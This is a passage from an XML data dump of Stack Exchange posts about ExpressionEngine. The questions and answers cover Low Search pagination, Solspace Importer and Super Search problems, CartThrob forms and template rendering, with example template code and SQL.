class=&quot;page-previous&quot;&amp;gt;&amp;amp;lsaquo;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;      {/previous_page}&#xA;      {page}&#xA;        &amp;lt;li{if current_page} class=&quot;active&quot;{/if}&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;page-{pagination_page_number}&quot;&amp;gt;{pagination_page_number}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;      {/page}&#xA;      {next_page}&#xA;        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;page-next&quot;&amp;gt;&amp;amp;rsaquo;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;      {/next_page}&#xA;      {last_page}&#xA;        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;page-last&quot;&amp;gt;&amp;amp;raquo;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;      {/last_page}&#xA;      &amp;lt;/ul&amp;gt;&amp;lt;!-- / .pagination --&amp;gt;&#xA;  {/pagination_links}&#xA;{/paginate}&#xA;&#xA;{if low_search_no_results}&#xA;&amp;lt;header class=&quot;page-header&quot;&amp;gt;&#xA;    &amp;lt;h1&amp;gt;Search Results {if low_search_keywords} for &amp;amp;ldquo;&amp;lt;mark&amp;gt;  {low_search_keywords}&amp;lt;/mark&amp;gt;&amp;amp;rdquo;{/if} (No results)&amp;lt;/h1&amp;gt;&#xA;&amp;lt;/header&amp;gt;&#xA;&amp;lt;div class=&quot;bg-warning&quot; style=&quot;padding: 20px 20px 10px 20px; &quot;&amp;gt;&#xA;    &amp;lt;p&amp;gt;Sorry, there are currently no search results{if low_search_keywords} for &amp;amp;ldquo;&amp;lt;mark&amp;gt;{low_search_keywords}&amp;lt;/mark&amp;gt;&amp;amp;rdquo;{/if}.&amp;lt;/p&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;{/if}&amp;lt;!-- low_search_no_results --&amp;gt;&#xA;&#xA;{/exp:low_search:results}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works fine on the first page, and we get the correct results, with an example URL of :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://example.com/search/results/?collection=articles|case-studies|guides|products|videos|white-papers|dictionary|companies&amp;amp;keywords=test&quot; rel=&quot;nofollow&quot;&gt;http://example.com/search/results/?collection=articles|case-studies|guides|products|videos|white-papers|dictionary|companies&amp;amp;keywords=test&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When we click a pagination link, we get this URL :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://example.comsearch/results/P20&quot; rel=&quot;nofollow&quot;&gt;http://example.comsearch/results/P20&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which returns no results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Oddly on another site, with 90% the same code and no differences in results tags it works as we would expect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We are running ExpressionEngine v2.8.1 - Build Date: 20140314 and LOW Search 3.1.5&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;--- EDIT ---&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We've also tried revising the code so that:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The pagination href changes to: {pagination_url}{current_query_string} &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then a url such as &lt;a href=&quot;http://example.com/search/results?collection=case-studies|guides|&amp;amp;keywords=test&quot; rel=&quot;nofollow&quot;&gt;http://example.com/search/results?collection=case-studies|guides|&amp;amp;keywords=test&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;becomes this when a pagination link clicked: &lt;a href=&quot;http://example.com//search/results/P2collection=case-studies%7Cguides%7C&amp;amp;keywords=test&quot; rel=&quot;nofollow&quot;&gt;http://example.com//search/results/P2collection=case-studies%7Cguides%7C&amp;amp;keywords=test&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which again fails.&lt;/p&gt;&#xA;" OwnerUserId="886" LastEditorUserId="886" LastEditDate="2015-12-04T14:33:43.870" LastActivityDate="2015-12-04T14:33:43.870" Title="Low search pagination not working" Tags="|pagination|low-search|low|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26703" PostTypeId="2" ParentId="26702" CreationDate="2014-11-12T16:11:07.293" Score="2" Body="&lt;p&gt;Try upgrading Low Search to the latest version. &lt;a href=&quot;http://gotolow.com/addons/low-search/changelog#v3.1.6&quot; rel=&quot;nofollow&quot;&gt;Version 3.1.6&lt;/a&gt; has this bugfix:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Fixed a bug where a page URL could be falsely rewritten to maintain the query string&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;...which should probably fix the issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it does not, try changing the hrefs of the pagination links to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;href=&quot;{pagination_url}?{current_query_string}&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="172" LastEditorUserId="172" LastEditDate="2014-11-12T17:13:32.173" LastActivityDate="2014-11-12T17:13:32.173" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="26704" PostTypeId="1" AcceptedAnswerId="26719" CreationDate="2014-11-12T16:41:55.263" Score="0" ViewCount="68" Body="&lt;p&gt;I'm looking for a way to trigger the hook entry_submission_ready on every entry that the Solspace Importer imports. I have another extension that, upon entry_submission_ready, manipulates entry data. In this case, the other extension takes a plaintext address, geocodes it, and inserts the geocoded address back into the entry data. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Importer disables extension hook triggers when it imports, and as the comments explain:&#xA;(../importer/content_types/importer.content_type.channel_entries/content_type.channel_entries.php:starting-line 627)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// --------------------------------------------&#xA;//  Disable Extensions&#xA;// - Extension can cause ALL sorts of headaches&#xA;// when using the EE Channel Entries API.&#xA;// --------------------------------------------&#xA;&#xA;$allow_extensions = ee()-&amp;gt;config-&amp;gt;item('allow_extensions');&#xA;&#xA;ee()-&amp;gt;config-&amp;gt;config['allow_extensions'] = 'n';&#xA;&#xA;// -------------------------------------&#xA;//  This is a fix for Extensions-&amp;gt;active_hook&#xA;//  returning boolean true even when extensions&#xA;//  are disabled. EE Bug reported.&#xA;//  This should be fixed in EE 2.9.1/2.10.0.&#xA;// -------------------------------------&#xA;&#xA;$old_ext = ee()-&amp;gt;extensions-&amp;gt;extensions;&#xA;&#xA;ee()-&amp;gt;extensions-&amp;gt;extensions = array();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The extension triggers cause headaches. And so they do: the geocode extension throws an error if I allow extensions to remain enabled during the import. I could get around this by writing my own extension that is triggered after the importer is completely finished, and having that extension loop over all recently added entries and just triggering the entry_submission_ready hook. However, Solspace Importer does not have any (documented or otherwise) hooks for when it's completely finished. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This leaves me with my data imported, but having to go to Edit each individual entry, and just submit an unchanged Edit form so it triggers entry_submission_ready and the geocoder extension does it's thing. I'd love a better programmatic way to handle this, as getting the data import for this project right is about 90% of the work (it's a glorified blog project for a client with tons of csv data). Any help or suggestions would be awesome! Thanks!&lt;/p&gt;&#xA;" OwnerUserId="3579" LastEditorUserId="3579" LastEditDate="2014-11-12T18:34:01.033" LastActivityDate="2014-11-13T10:22:15.127" Title="Manipulating data after import" Tags="|solspace|solspace-importer|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26707" PostTypeId="2" ParentId="25443" CreationDate="2014-11-12T17:40:25.283" Score="0" Body="&lt;p&gt;I see no reason why add_to_cart_form with &lt;strong&gt;allow_user_price&lt;/strong&gt; and &lt;strong&gt;price&lt;/strong&gt; would not work. Could you post the code you have? I use this in many of the products I've created to allow for dynamically created prices. You could try placing a price input field within the form rather than it being a parameter. I have an example of this below where I use it for adding additional charges on a separate page when customers are requested to pay a little more:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:cartthrob:add_to_cart_form &#xA;    {!-- return=&quot;{template_group}/basket&quot; --}&#xA;&#xA;    on_the_fly=&quot;y&quot;&#xA;    title=&quot;Nominal charge&quot;&#xA;&#xA;    tax_exempt=&quot;no&quot;&#xA;    shipping_exempt=&quot;yes&quot;&#xA;&#xA;    allow_user_price=&quot;yes&quot;&#xA;    allow_user_shipping=&quot;no&quot;&#xA;&#xA;    id=&quot;charges_form&quot;&#xA;&#xA;}&#xA;    &amp;lt;fieldset&amp;gt;&#xA;        &amp;lt;p&amp;gt;&amp;lt;label&amp;gt;Type:&amp;lt;/label&amp;gt;&#xA;            &amp;lt;select name=&quot;item_options[type]&quot;&amp;gt;&#xA;                &amp;lt;option value=&quot;&quot;&amp;gt;-- Select --&amp;lt;/option&amp;gt;&#xA;                &amp;lt;option value=&quot;Additional delivery charge&quot;&amp;gt;Additional delivery charge&amp;lt;/option&amp;gt;&#xA;                &amp;lt;option value=&quot;Additional product cost&quot;&amp;gt;Additional product cost&amp;lt;/option&amp;gt;&#xA;                &amp;lt;option value=&quot;Other separate payment&quot;&amp;gt;Separate payment&amp;lt;/option&amp;gt;&#xA;                &amp;lt;option value=&quot;Returns&quot;&amp;gt;Returns&amp;lt;/option&amp;gt;&#xA;                &amp;lt;option value=&quot;Other&quot;&amp;gt;Other&amp;lt;/option&amp;gt;&#xA;            &amp;lt;/select&amp;gt;&#xA;        &amp;lt;/p&amp;gt;&#xA;        &amp;lt;p&amp;gt;&amp;lt;label&amp;gt;Description:&amp;lt;/label&amp;gt; &amp;lt;input name=&quot;item_options[description]&quot; value=&quot;&quot; class=&quot;input&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;        &amp;lt;p&amp;gt;&amp;lt;label&amp;gt;Order ref:&amp;lt;/label&amp;gt; &amp;lt;input name=&quot;item_options[order_ref]&quot; value=&quot;&quot; class=&quot;input&quot; placeholder=&quot;Order number if applicable&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;        &amp;lt;p&amp;gt;&amp;lt;label&amp;gt;Amount:&amp;lt;/label&amp;gt; &amp;lt;span class=&quot;price_field&quot;&amp;gt;&amp;lt;span class=&quot;prefix&quot;&amp;gt;{exp:cartthrob:view_setting prefix=&quot;yes&quot;}&amp;lt;/span&amp;gt;&amp;lt;input name=&quot;price&quot; value=&quot;&quot; class=&quot;input small&quot; /&amp;gt;&amp;lt;/span&amp;gt; &amp;lt;small&amp;gt;(excl VAT)&amp;lt;/small&amp;gt;&amp;lt;/p&amp;gt;&#xA;    &amp;lt;/fieldset&amp;gt; &#xA;    &amp;lt;input type=&quot;submit&quot; value=&quot;Add to cart&quot; class=&quot;button purple r&quot; /&amp;gt;&#xA;{/exp:cartthrob:add_to_cart_form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Of course you could place this anywhere, say at the bottom of the cart area before.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this helps&lt;/p&gt;&#xA;" OwnerUserId="2675" LastActivityDate="2014-11-12T17:40:25.283" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26708" PostTypeId="2" ParentId="26406" CreationDate="2014-11-12T18:19:35.197" Score="1" Body="&lt;p&gt;Yes, they should be nestable. I have the following code working - all the relationships are within one channel. I built it as a way to see if relationships could be used intra-channel to build navigation:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h2&amp;gt;The Family Tree from the Top Down &amp;lt;/h2&amp;gt;&#xA;{exp:channel:entries channel=&quot;people&quot; disable=&quot;member_data|pagination|categories&quot;}&#xA;&#xA;  {if count==1} {!-- start the top-level unordered list --}&#xA;    &amp;lt;ul&amp;gt;&#xA;  {/if}&#xA;&#xA;    {parents field=&quot;offspring&quot;}&#xA;        {if parents:no_results} {!-- entries with no parents are top-level --}&#xA;            &amp;lt;li&amp;gt;&#xA;              {title}&#xA;              {offspring} {!-- second level entries --}&#xA;&#xA;                {if offspring:count == 1}&amp;lt;ul&amp;gt;{/if} {!-- open the second-level unordered list --}&#xA;&#xA;                    &amp;lt;li&amp;gt;&#xA;                      {offspring:title}&#xA;                      {offspring:offspring} {!-- third level entries --}&#xA;&#xA;                        {if offspring:offspring:count == 1}&#xA;                          &amp;lt;ul&amp;gt; {!-- open 3rd level list --}&#xA;                        {/if}&#xA;&#xA;                        &amp;lt;li&amp;gt;{offspring:offspring:title}&amp;lt;/li&amp;gt;&#xA;&#xA;                        {if offspring:offspring:count==offspring:offspring:total_results}&#xA;                          &amp;lt;/ul&amp;gt; {!-- close third-level list --}&#xA;                        {/if}&#xA;&#xA;                      {/offspring:offspring}&#xA;                    &amp;lt;/li&amp;gt;&#xA;&#xA;                {if offspring:count==offspring:total_results}&#xA;                  &amp;lt;/ul&amp;gt; {!-- close second-level list --}&#xA;                {/if}&#xA;&#xA;              {/offspring}&#xA;            &amp;lt;/li&amp;gt;&#xA;        {/if}&#xA;    {/parents}&#xA;&#xA;    {if count==total_results}&#xA;      &amp;lt;/ul&amp;gt; {!-- close top-level list --}&#xA;    {/if}&#xA;{/exp:channel:entries} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="651" LastActivityDate="2014-11-12T18:19:35.197" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26709" PostTypeId="1" CreationDate="2014-11-12T20:49:30.867" Score="1" ViewCount="93" Body="&lt;p&gt;I've recently moved several ExpressionEngine sites from one server to another. Most are fine but one is now displaying template tags on the site itself. I don't really know where to start with this as I don't often work with EE. I've tried clearing the cache and making sure the file paths are correct. There are no errors in the server's error log.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am looking for some help to diagnose this problem and find out what might need to be changed.&lt;/p&gt;&#xA;" OwnerUserId="3782" LastActivityDate="2015-05-12T20:19:57.770" Title="Templates not being processed - tags are displayed" Tags="|templates|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26710" PostTypeId="2" ParentId="26709" CreationDate="2014-11-12T21:04:41.250" Score="1" Body="&lt;p&gt;Common problems rendering a template include:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Malformed tags:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entwies channel=&quot;blog_posts&quot;} ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;PHP intermingled where it doesn't work or has syntax errors:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&amp;lt;?php echo &quot;\&quot;&quot; . $channel_name . &quot;\&quot;&quot;?&amp;gt;} ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Tags embedded in tags embedded in tags eventually causing a parse order issue, or a tag space error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;{exp:channel:category_heading}{if &quot;{category_name}&quot; == 'category 1'}-{category_name}{if:else}|{category_name}{/exp:channel:category_heading}{/if}&quot;} ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I hope some of this helps.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2014-11-12T21:04:41.250" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26712" PostTypeId="1" CreationDate="2014-11-12T22:34:44.417" Score="0" ViewCount="44" Body="&lt;p&gt;Once a day for the past week our websites have been going down around the same time, but then slowly comes back up after 30 minutes. We've discovered it's due to a MySQL overload caused by the Super Search add-on. Below is an example of the query, but add hundreds more entry ID's to it:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;/* Super Search ct/cd search */  SELECT t.entry_id  FROM&#xA;  exp_channel_titles t    LEFT JOIN exp_channel_data cd ON cd.entry_id =&#xA;  t.entry_id  WHERE t.entry_id != 0     AND t.entry_date &amp;lt; 1415828729&lt;br&gt;&#xA;  AND (t.expiration_date = 0 OR t.expiration_date &gt; 1415828729)    AND&#xA;  t.channel_id IN (7) AND t.status = 'open'    AND t.site_id IN (1)&#xA;  /&lt;em&gt;Begin subids statement&lt;/em&gt;/    AND t.entry_id IN&#xA;  ('83','84','85','88','89','90','91','92','93','94','95','96','97','98','99','100','102','103','104','105','160','161','163','185','187','193','196','203','209','220','221','225','227','230','231','232','233','234','235','239','240','249','301','301','301','301','301','301','316','317','320','321','322','323','324','325','326','327','328','329','330','332','333','334','335','336','340','341','342','343','344','345','355','359','360','365','366','368','369','370','371','379','380','381','382','384','385','386','391','392','393','394','395','398','407','408','409','410','411','413','415','416','418','419','423','434','435','436',&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&amp;lt;---then skipping to the bottom of the query--&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;44301','44302','44308','44318','44321','44322','44324','44326','44335','44336','44337','44338','44339','44340','44343','44346','44347','44348','44351','44357')&#xA;  /&lt;em&gt;End subids statement&lt;/em&gt;/   ORDER BY t.sticky DESC, t.entry_date DESC,&#xA;  t.entry_id DESC&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;What's causing this and how can we fix it? It has started to become a big issue lately.&lt;/p&gt;&#xA;" OwnerUserId="454" LastActivityDate="2014-11-12T22:34:44.417" Title="Super Search Query Overloads DB and Brings Down Websites" Tags="|solspace|mysql|supersearch|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="26715" PostTypeId="1" CreationDate="2014-11-13T02:54:58.250" Score="0" ViewCount="57" Body="&lt;p&gt;We're having an issues on &quot;Importer&quot;. While we're importing data to our site we encounter &lt;a href=&quot;http://awesomescreenshot.com/0a33u8ko45&quot; rel=&quot;nofollow&quot;&gt;this error&lt;/a&gt;. The site is on shared-hosting. Please we need help on this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE: Here is the error message:&lt;br&gt;&#xA;A Database Error Occurred&lt;br&gt;&#xA;Error Number: 1153&lt;br&gt;&#xA;Got a packet bigger than 'max_allowed_packet' bytes&lt;br&gt;&#xA;Filename: third_party/importer/mod.importer.php&lt;br&gt;&#xA;Line Number: 327&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: I can't post the SQL query because it's too long but the query is trying to UPDATE the &quot;exp_importer_batches&quot; table.&lt;/p&gt;&#xA;" OwnerUserId="3784" LastEditorUserId="3784" LastEditDate="2014-11-13T23:28:59.097" LastActivityDate="2014-11-16T12:24:40.630" Title="Error Number: 1153, Exrpression Engine 2.7.3" Tags="|solspace|mysql|solspace-importer|" AnswerCount="0" CommentCount="3" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26716" PostTypeId="2" ParentId="15590" CreationDate="2014-11-13T04:35:30.497" Score="1" Body="&lt;p&gt;Ok after mucking around for a bit I found the combination was&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this was what I was trying to no avail. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_variables:pair var=&quot;grid_variable_name&quot; limit=&quot;1&quot;}&#xA;  {grid_variable_name:grid_assets_field}&#xA;    {url}&#xA;  {/grid_variable_name:grid_assets_field}&#xA;{/exp:low_variables:pair}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This worked. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_variables:pair var=&quot;grid_variable_name&quot; limit=&quot;1&quot;}&#xA;{grid_variable_name:grid_assets_field:url}&#xA;{/exp:low_variables:pair}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note the assets field I setup was set to single image only. &lt;/p&gt;&#xA;" OwnerUserId="154" LastActivityDate="2014-11-13T04:35:30.497" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26717" PostTypeId="1" CreationDate="2014-11-13T08:31:36.233" Score="0" ViewCount="41" Body="&lt;p&gt;I'm using Solspace Super Search, but wondering if it's possible to change the format for date-searching strings?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's my understanding that you need to supply date ranges as the following &lt;code&gt;&amp;lt;input name=&quot;event_start_date-from&quot; value=&quot;20141113&quot;&amp;gt;&lt;/code&gt;, and filtering this way works just fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, as I'm using a datepicker for the user, this isn't a very friendly way to display dates. Instead, it'd be preferable to show as something like the below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ia7ZU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this even possible, or maybe I've been going about it the wrong way?&lt;/p&gt;&#xA;" OwnerUserId="3778" LastActivityDate="2016-05-19T23:48:53.890" Title="Solspace Super Search datepicker value" Tags="|solspace|search|supersearch|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26718" PostTypeId="1" CreationDate="2014-11-13T09:06:50.203" Score="0" ViewCount="55" Body="&lt;p&gt;Not sure if its simply something I'm doing incorrectly, but following the documentation with the following form:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form method=&quot;post&quot; action=&quot;{path='events/search_results'}&quot;&amp;gt;&#xA;    {exp:super_search:search}&#xA;    &amp;lt;fieldset&amp;gt;&#xA;        &amp;lt;div class=&quot;datepicker-container&quot;&amp;gt;&#xA;            &amp;lt;span class=&quot;icon icon-calendar-1&quot;&amp;gt;&amp;lt;/span&amp;gt;&#xA;            &amp;lt;input class=&quot;datepicker&quot; type=&quot;text&quot; name=&quot;event_start_date-from&quot; value=&quot;{super_search_event_start_date-from}&quot; /&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;datepicker-container&quot;&amp;gt;&#xA;            &amp;lt;span class=&quot;icon icon-calendar-1&quot;&amp;gt;&amp;lt;/span&amp;gt;&#xA;            &amp;lt;input class=&quot;datepicker&quot; type=&quot;text&quot; name=&quot;event_start_date-to&quot; value=&quot;{super_search_event_start_date-to}&quot; /&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;        &amp;lt;select class=&quot;fancyselect&quot; name=&quot;category&quot;&amp;gt;&#xA;            &amp;lt;option value=&quot;&quot;&amp;gt;Category&amp;lt;/option&amp;gt;&#xA;            {exp:channel:categories category_group=&quot;6&quot; style=&quot;linear&quot;}&#xA;                {exp:super_search:variables}&#xA;                    {if super_search_category == category_id}&#xA;                    &amp;lt;option value=&quot;{category_id}&quot; selected=&quot;selected&quot;&amp;gt;{category_name}&amp;lt;/option&amp;gt;&#xA;                    {if:else}&#xA;                    &amp;lt;option value=&quot;{category_id}&quot;&amp;gt;{category_name}&amp;lt;/option&amp;gt;&#xA;                    {/if}&#xA;                {/exp:super_search:variables}&#xA;            {/exp:channel:categories}&#xA;        &amp;lt;/select&amp;gt;&#xA;&#xA;        &amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; class=&quot;button&quot; value=&quot;Search&quot; /&amp;gt;&#xA;    &amp;lt;/fieldset&amp;gt;&#xA;    {/exp:super_search:search}&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The search mechanism works just fine, however on page load it doesn't update each fields' value to reflect what was search. Refreshing the page (or hitting search again) updates this. Not using Ajax or anything, and page reloads fine - the search results are updated properly.&lt;/p&gt;&#xA;" OwnerUserId="3778" LastActivityDate="2016-06-16T23:26:39.283" Title="Solspace Super Search only updates values on second page load" Tags="|solspace|search|supersearch|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26719" PostTypeId="2" ParentId="26704" CreationDate="2014-11-13T10:22:15.127" Score="0" Body="&lt;p&gt;I recommend submitting this as a Feature Request under the specific add-on category. It'll also give other users the option to vote up the feature request, and help us prioritize features to add in upcoming versions of this add-on. &lt;a href=&quot;http://support.solspace.com/support/discussions&quot; rel=&quot;nofollow&quot;&gt;http://support.solspace.com/support/discussions&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If enabling extensions in Importer is then causing issues, it could be that the geocode extension (maybe also others?) doesn't play nice with the native EE Channel Entries API and its hook. It would be worth bringing this up with the extension developer if that's possible. Another idea could be to disable the geocode hook in the exp_extensions table just for during your import, so that your extension is the only one using the hook (less add-ons using a hook, less problems).&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-11-13T10:22:15.127" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26720" PostTypeId="2" ParentId="26701" CreationDate="2014-11-13T10:37:09.503" Score="0" Body="&lt;p&gt;Fuzzy searching needs time to &quot;learn&quot; from new words, which means Super Search might not know of all possible fuzzy permutations during the first encounters with the word.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It should be noted that Fuzzy Searching, as cool of a feature as it is, runs on some complex algorithms from a 3rd party library. It's very possible that between that, and the Lexicon taking time to rebuilt itself every once and a while, that you'll experience some inconsistencies over time with the Fuzzy Searching feature.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-11-13T10:37:09.503" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26721" PostTypeId="2" ParentId="26717" CreationDate="2014-11-13T10:45:06.097" Score="0" Body="&lt;p&gt;Super Search accepts the YYYYMMDD format, but depending on your datepicker plugin, you might be able to set up the plugin to have a hidden field for the Super Search YYYYMMDD format, and a &quot;dummy&quot; field, visible to users, that would be formatted the way you want.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-11-13T10:45:06.097" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26722" PostTypeId="2" ParentId="26718" CreationDate="2014-11-13T12:37:24.640" Score="0" Body="&lt;p&gt;Remove the &lt;code&gt;{exp:super_search:search}&lt;/code&gt; tag pair from your search form. It's not necessary for the well-functioning of the form. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{exp:super_search:search}&lt;/code&gt; is typically used as a way to attempt to retrieve previous values, using cookies, in form fields. This can come in handy in some cases when pressing the &quot;Back&quot; button on your browser to return to a form and hoping it's still filled out. On pages where the search form and results are on the same template, for example, this feature can interfere with the parsing of your form values. &lt;code&gt;{exp:super_search:search}&lt;/code&gt; is also useful if you're using &lt;a href=&quot;http://www.solspace.com/docs/super_search/search/#search_id&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;search_id=&quot;&quot;&lt;/code&gt;&lt;/a&gt;, which is used along with the &lt;a href=&quot;http://www.solspace.com/docs/super_search/history/&quot; rel=&quot;nofollow&quot;&gt;Searh History&lt;/a&gt; feature.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-11-13T12:37:24.640" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26723" PostTypeId="1" CreationDate="2014-11-13T15:22:57.367" Score="1" ViewCount="51" Body="&lt;p&gt;I am building a newsletter template that will display between 5 and 7 articles. My client will get to choose which articles will display by putting the entry_id's in the url (ex. &lt;a href=&quot;http://site.com/newsletter/111/222/333/444/555/666&quot; rel=&quot;nofollow&quot;&gt;http://site.com/newsletter/111/222/333/444/555/666&lt;/a&gt;). How can I do this? Also, I am using an older verion of EE (hence the use of 'weblog'). Below is my code, which only works if there's 1 article (ex. &lt;a href=&quot;http://site.com/newsletter/111&quot; rel=&quot;nofollow&quot;&gt;http://site.com/newsletter/111&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_1 != &quot;&quot; }&#xA;&#xA;{exp:weblog:entries entry_id=&quot;{segment_1}&quot; limit=&quot;1&quot; dynamic=&quot;no&quot; disable=&quot;member_data|pagination|categories&quot;}&#xA;&#xA;            &amp;lt;tr&amp;gt;&#xA;                &amp;lt;td valign=&quot;top&quot; width=&quot;150&quot;&amp;gt;&#xA;                    {if image != &quot;&quot;}&amp;lt;a href=&quot;{url_title_path=&quot;/article&quot;}&quot; alt=&quot;{title}&quot; title=&quot;{title}&quot; target=&quot;_blank&quot;&amp;gt;{image}&amp;lt;/a&amp;gt;{/if}&#xA;                &amp;lt;/td&amp;gt;&#xA;                &amp;lt;td valign=&quot;top&quot; width=&quot;14&quot;&amp;gt;&amp;lt;/td&amp;gt;&#xA;                &amp;lt;td valign=&quot;top&quot; width=&quot;380&quot;&amp;gt;&#xA;                            &amp;lt;a href=&quot;{url_title_path=&quot;/article&quot;}&quot; alt=&quot;View {title}&quot; title=&quot;View {title}&quot; target=&quot;_blank&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&#xA;                            &amp;lt;br /&amp;gt;&amp;lt;br /&amp;gt;&#xA;                            {if alt_summary != &quot;&quot;}&#xA;                                {exp:strip_p}{alt_summary}{/exp:strip_p}&#xA;                            {if:else}&#xA;                                {exp:strip_p}{summary}{/exp:strip_p}&#xA;                            {/if}&#xA;                &amp;lt;/td&amp;gt;&#xA;            &amp;lt;/tr&amp;gt;&#xA;{/exp:weblog:entries}&#xA;&#xA;{/if}&#xA;&#xA;{if segment_2 != &quot;&quot; 